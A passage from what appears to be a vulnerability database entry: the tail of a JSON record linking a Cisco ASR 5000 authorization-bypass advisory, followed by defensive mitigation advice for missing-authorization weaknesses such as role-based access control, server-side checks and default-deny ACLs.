      "type": "WEB",
      "url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asr5k-autho-bypass-mJDF5S7n"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

Mitigation
Architecture and Design
  • Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
  • Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Architecture and Design

Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].

Mitigation MIT-4.4
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
Architecture and Design
  • For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
  • One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
System Configuration Installation

Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

No CAPEC attack patterns related to this CWE.